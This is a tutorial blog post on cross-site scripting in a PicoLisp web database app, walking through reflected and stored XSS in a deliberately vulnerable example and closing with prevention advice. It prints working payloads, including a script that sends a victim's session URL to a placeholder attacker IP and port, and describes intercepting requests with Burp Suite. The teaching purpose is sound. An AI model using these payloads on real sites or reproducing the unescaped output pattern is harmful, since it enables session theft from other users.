DEV Community

Cover image for How to hack the PicoLisp Database (and how to prevent it!) - An Introduction to XSS Attacks

Posted on • Originally published at

How to hack the PicoLisp Database (and how to prevent it!) - An Introduction to XSS Attacks

Today we will discuss some basic security aspects of database user interfaces. The principles are not at all restricted to PicoLisp, it's a general (and quite wide-spread) vulnerability: Cross-Site Scripting.

What are Cross-Site Scripting attacks?

Cross-Site Scripting (XSS) attacks are a type of injection in which malicious script can be injected. XSS vulnerabilities take advantage of a flaw in user input sanitization to "write" JavaScript code to the page and execute it on the client side, leading to several types of attacks.

XSS vulnerabilities can facilitate a wide range of attacks, which can be anything that can be executed through browser JavaScript code. A basic example of an XSS attack is having the target user unwillingly send their session cookie to the attacker's web server. Another example is having the target's browser execute API calls that lead to a malicious action, like changing the user's password to a password of the attacker's choosing. There are many other types of XSS attacks, from Bitcoin mining to displaying ads.

XSS vulnerabilities are one of the most common flaws in web applications - Top 3 according to the Open Web Application Security Project (OWASP) after "Broken Access Control" and "Cryptographic Failures".

An example

Instead of theory, let's start with an example. Actually we have introduced a great example for XSS vulnerability in the post "Creating HTML Forms 2". (Did you notice?)

If you check the source code, this is basically what we do: We save the user input in two global variables *FirstName and *LastName and output it via prinl.

(prinl "Hello, " *FirstName " " *LastName "!")
Enter fullscreen mode Exit fullscreen mode

prinl takes any kind of expression without modifications. Let's see what that means!


You can try it yourself here.

The program expects a name as input. But what if we write a JavaScript expression? It will be executed! Let's check the HTML source code to understand what's happening (Ctrl-U in Firefox).

On the input field side, all special characters are replaced: the input is sanitized. The browser will not execute this as JavaScript.

<input type="text" name="*FirstName" value="&lt;script&gt;alert(&quot;You've been hacked!&quot;)&lt;/script&gt;" size="30" onchange="return fldChg(this)" class="field"/>
Enter fullscreen mode Exit fullscreen mode

However, the <h3> tag below is not:

<h3 class="d-flex m-1 justify-content-center">Hello, <script>alert("You've been hacked!")</script> B!</h3>
Enter fullscreen mode Exit fullscreen mode

If JavaScript is enabled in the browser, this will enable the user to execute any types of JavaScript commands.

In this case in the example, the JavaScript is only executed in the attacker's browser. The malicious input is not saved on the backend side. This is called a reflected, non-persistent XSS.

In the example above, there is not much harm the attacker can do, because the execution of JavaScript commands are limited to the browser, and what's the point in hacking your own machine anyway?

So let's now take a look at a dangerous one: stored XSS attacks.

Stored XSS Attacks

An XSS-Attack is called stored if the input is saved somewhere in the backend, for example in the database. In this case not only the attacker, but everyone viewing the page is potentially affected. In order to make that possible, two vulnerabilities must occur at the same time:

  1. The input data is directly written into the database without checks, and
  2. The input data is directly evaluated in the code.

Let's take a look at the following, vulnerable version of our family-edit.l program. It is identical to the previous line except for one additional line:

(<p> NIL (prin (get *ID 'job) ", born " (datStr(get *ID 'dat))))
Enter fullscreen mode Exit fullscreen mode

The programmer wanted to create a subtitle that prints the occupation and birthday of the record. In rendered form, it looks like this:


Unfortunately, with this line he or she introduced a serious vulnerability. Let's see what kind of fun an attacker can have with this.

You can download the vulnerable program here. The database is expected in the folder family-vulnerable/, I recommend to download the family/ database and copy it in a new folder, so that the original one doesn't get corrupted.

Proof of Concept

Let's repeat the same steps as before and try to replace the "Occupation" field by some JavaScript. It works!


Differently to before, every user who is now accesing the database will see You've been hacked instead of the user record first. This alone can already be a problem, but there are even worse things that an attacker can do with that.

Corrupting the date field

But before we get into that, let's try the same with our date string. When we try the same steps as before, we see that we cannot change it - the submission is blocked with the notification "Bad date format".


Does that mean we're safe? Maybe not, because the check is only on front-end side. Let's try to catch the POST request and modify it before sending it to the server.

I have opened a virtual Kali Linux machine on my system to access the web app on the host system. Using Burp Suite as proxy, let's see what our app is sending. Let's modify the date and catch the request in our proxy.


Now we modify this value to <script>alert("You've been hacked!")</script> before we forward it.


However, when we try to send it, we get a "server connect failure". Why? Maybe the interpreter threw an error because this evaluation was not possible anymore:

(datStr(get *ID 'dat))
Enter fullscreen mode Exit fullscreen mode

So we could try to inject "1926-04-23" ) "hello world". This should render to something like this:

(datStr "1926-04-23" ) "hello world"
Enter fullscreen mode Exit fullscreen mode

Unfortunately (or rather luckily), this also fails, because date is transformed to a timestamp in the backend, which fails if we send anything except data strings. Similarly, comments, NIL and empty strings are rejected.

So I assume the date fields cannot be injected so easily since the date conversion is acting as data sanitizer.

Exploiting the Occupation vulnerability

Nevertheless, we still have the job property where we can execute our malicious scripts. For example, we could try to get the session ID of anybody who is opening the database. In order to get these, we need the application to connect back to us.

Instead of adding a simple alert, let's do this:

<script type="text/javascript">new Image().src="http://<ATTACKER_IP>:<ATTACKER_PORT>/?url="+window.location.href;</script>
Enter fullscreen mode Exit fullscreen mode

Replace Attacker_IP by your own (local) IP.

Then we open a port on the attacking system (for example with netcat) As soon as the victim opens the corrupted database, the page tries to load a "picture" from the attacker's computer. Of course it fails because there is no such picture, but from the request, the attacker can get the complete session URL, and if available, also the session authentication cookies.


In other words, the attacker can now use the session of another user! This could be a big problem, right? Let's assume the administrator has logged in, and we can steal session URL and cookies (if available) from that person. This means that the attacker could execute commands with administrator rights, for example download the whole database, or even take over the control over the server!

What do we learn from that?

XSS attacks can be dangerous, especially in combination with a storage mechanism on the backend side. As you can see, the attacker doesn't even have to know anything about PicoLisp, and this kind of attack is also very easy to automate, so the probability is quite high that it will be discovered.

What can we do to prevent it?

  1. Try to use standard framework components where possible. For example, the GUI elements of the PicoLisp GUI frameworks are safe to use since they remove special characters before displaying.
  2. Always specify and filter the user input, don't commit anything unchecked into the database. Sanitize the data if possible.
  3. Never directly evaluate user input data (for example: use ht:Prin instead of prin if the content is not known beforehand).
  4. Consider to use scanning tools to double-check your application.

The good news is: XSS exploits are easy to exploit, but also quite easy to prevent. Always follow these two rules and your application should be safe!


Top comments (0)